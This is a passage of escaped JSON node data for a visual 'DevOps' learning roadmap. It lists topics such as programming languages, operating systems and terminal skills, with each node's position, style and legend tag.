\"x\": 1450.3113390834426,\n        \"y\": 399.0352879521563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 1450.3113390834426,\n        \"y\": 399.0352879521563\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"OY4ipeYrizxKKv9Z72iLR\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 446.46233894852605\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 356,\n      \"height\": 227,\n      \"style\": {\n        \"width\": 356,\n        \"height\": 227\n      },\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 446.46233894852605\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 356,\n        \"height\": 227\n      }\n    },\n    {\n      \"id\": \"fqBgeJj5fan4TT7K2E6c7\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 1678.7802652868972,\n        \"y\": 95.62780506297416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 1678.7802652868972,\n        \"y\": 95.62780506297416\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"J4hDw1hZqw6pI4iykkXXQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1739.2802652868972,\n        \"y\": 9.627805062974176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 86,\n      \"positionAbsolute\": {\n        \"x\": 1739.2802652868972,\n        \"y\": 9.627805062974176\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 86\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 86\n      }\n    },\n    {\n      \"id\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1602.7802652868972,\n        \"y\": 229.3007298193524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn a Programming Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"43OZ35TemharSqfrst0Pv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1602.7802652868972,\n        \"y\": 229.3007298193524\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2039.941514522558,\n        \"y\": 176.3007298193524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eL62bKAoJCMsu7zPlgyhy\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2039.941514522558,\n        \"y\": 176.3007298193524\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PuXAPYA0bsMgwcnlwJxQn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2152.597833816051,\n        \"y\": 176.3007298193524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ruby\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eL62bKAoJCMsu7zPlgyhy\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2152.597833816051,\n        \"y\": 176.3007298193524\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"npnMwSDEK2aLGgnuZZ4dO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2039.941514522558,\n        \"y\": 229.3007298193524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QCdemtWa2mE78poNXeqzr\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2039.941514522558,\n        \"y\": 229.3007298193524\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eL62bKAoJCMsu7zPlgyhy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2152.597833816051,\n        \"y\": 229.3007298193524\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2152.597833816051,\n        \"y\": 229.3007298193524\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QCdemtWa2mE78poNXeqzr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2039.941514522558,\n        \"y\": 285.02996643945045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript / Node.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eL62bKAoJCMsu7zPlgyhy\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2039.941514522558,\n        \"y\": 285.02996643945045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LFXvvH86fAyJBtQVd7acq\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": 1195.6220092352162,\n        \"y\": -23.69562777188412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n            \"color\": \"#874efe\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n            \"label\": \"Alternative Option - Pick this or Purple\",\n            \"color\": \"#667113\"\n          },\n          {\n            \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n            \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n            \"color\": \"#949494\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 404,\n      \"height\": 127,\n      \"positionAbsolute\": {\n        \"x\": 1195.6220092352162,\n        \"y\": -23.69562777188412\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 404,\n        \"height\": 127\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 404,\n        \"height\": 127\n      }\n    },\n    {\n      \"id\": \"qe84v529VbCyydl0BKFk2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1353.3113390834426,\n        \"y\": 355.1966436651256\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operating System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"43OZ35TemharSqfrst0Pv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1353.3113390834426,\n        \"y\": 355.1966436651256\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3A1SykJ5JxBFeVzSzDEWJ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1403.5509969897735,\n        \"y\": 457.64985874666695\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"1b3VeGto7LzbiNNPolk7_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 58,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1403.5509969897735,\n        \"y\": 457.64985874666695\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 58,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"8hSJLQBKu8ablW2Lwxknv\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1244.050901958697,\n        \"y\": 459.72277607327175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unix\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1244.050901958697,\n        \"y\": 459.72277607327175\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"cTqVab0VbVcn3W7i0wBrX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 504.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ubuntu / Debian\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z6IBekR8Xl-6f8WEb05Nw\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 504.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zhNUK953p6tjREndk3yQZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 557.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SUSE Linux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 557.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 610.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RHEL / Derivatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1335.5509969897735,\n        \"y\": 610.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PiPHFimToormOPl1EtEe8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1210.050901958697,\n        \"y\": 501.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FreeBSD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-JGe6oHUuaAdakoOjTV5u\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 51,\n      \"positionAbsolute\": {\n        \"x\": 1210.050901958697,\n        \"y\": 501.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"97cJYKqv7CPPUXkKNwM4x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1210.050901958697,\n        \"y\": 556.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenBSD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zhNUK953p6tjREndk3yQZ\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1210.050901958697,\n        \"y\": 556.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"haiYSwNt3rjiiwCDszPk1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1210.050901958697,\n        \"y\": 609.9832131980173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NetBSD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1210.050901958697,\n        \"y\": 609.9832131980173\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UOQimp7QkM3sxmFvk5d3i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1191.3528975202719,\n        \"y\": 355.1966436651256\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Windows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uyDm1SpOQdpHjq9zBAdck\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1191.3528975202719,\n        \"y\": 355.1966436651256\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wjJPzrFJBNYOD3SJLzW2M\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 536.1811226053657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Terminal Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qe84v529VbCyydl0BKFk2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 536.1811226053657\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x-JWvG1iw86ULL9KrQmRu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 458.18112260536566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Process Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z6IBekR8Xl-6f8WEb05Nw\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 458.18112260536566\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gIEQDgKOsoEnSv8mpEzGH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 511.18112260536566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zhNUK953p6tjREndk3yQZ\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 511.18112260536566\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OaqKLZe-XnngcDhDzCtRt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 564.1811226053657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 564.1811226053657\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cUifrP7v55psTb20IZndf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 617.1811226053657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Text Manipulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OaqKLZe-XnngcDhDzCtRt\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2008.4055424608705,\n        \"y\": 617.1811226053657\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"syBIAL1mHbJLnTBoSxXI7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 387.7552314433875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Jt8BmtLUH6fHT2pGKoJs3\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 387.7552314433875\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z6IBekR8Xl-6f8WEb05Nw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 440.7552314433875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Power Shell\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7mS6Y_BOAHNgM3OjyFtZ9\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 440.7552314433875\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jt8BmtLUH6fHT2pGKoJs3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 623.462338948526\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vim / Nano /  Emacs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z6IBekR8Xl-6f8WEb05Nw\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1704.2802652868972,\n        \"y\": 623.462338948526\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZusrlGqCntlKDPOaTiWqI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1762.6858674228688,\n        \"y\": 347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scripting\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"5zUf-LBQ0ByeP2hnAf9x1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1762.6858674228688,\n        \"y\": 347\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 